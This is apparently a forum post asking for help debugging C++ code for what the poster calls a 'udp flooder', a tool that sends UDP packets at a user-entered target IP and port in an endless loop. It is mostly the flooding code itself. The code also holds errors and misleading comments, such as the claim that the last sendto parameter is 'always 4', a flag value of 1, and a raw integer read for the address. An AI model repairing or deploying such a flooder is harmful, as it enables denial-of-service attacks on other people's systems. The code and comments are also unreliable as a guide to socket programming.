I have been working on a udp flooder program and I have reached the point where I need to call sendto(). When I run the program the function returns an error, I dont know what to do.
//IPPROTO_UDP
int _tmain(int argc, _TCHAR* argv[])
{
int OutSocket;
OutSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); // define a socket and get its address
cout << "Please enter the IP address of the target: ";
sockaddr_in ForeignAddress; // define an address structure
cin >> ForeignAddress.sin_addr.S_un.S_addr; // get the ip address from the user
//cout << "Please enter the port you want to attack: ";
//cin >> ForeignAddress.sin_port; // get the port from the user
ForeignAddress.sin_port = htons(1025);
ForeignAddress.sin_family = AF_INET; //set the family (this value is almost always the same)
sockaddr *AddressPointer; // define a pointer to the address struct
AddressPointer = (sockaddr*)&ForeignAddress; // cast the sockaddr_in as a sockaddr pointer (this is necessary to please the sento function)
int iteration = 0;
char * BufferPTR = new char [5]; // buffer to send
BufferPTR = "hello";
int size;
size = sizeof(ForeignAddress); // the size parameter in sendto needs to be the size of the entire address structure, not the pointer
signed int error;
while (true) {
error = sendto(OutSocket, BufferPTR, 5, 1, AddressPointer, size); // the last parameter is always 4 for an ipv4 address
iteration ++;
if (error == -1) {
break;
}
}
cout << "There was an error, ERROR CODE " << error << "\n";
system("pause");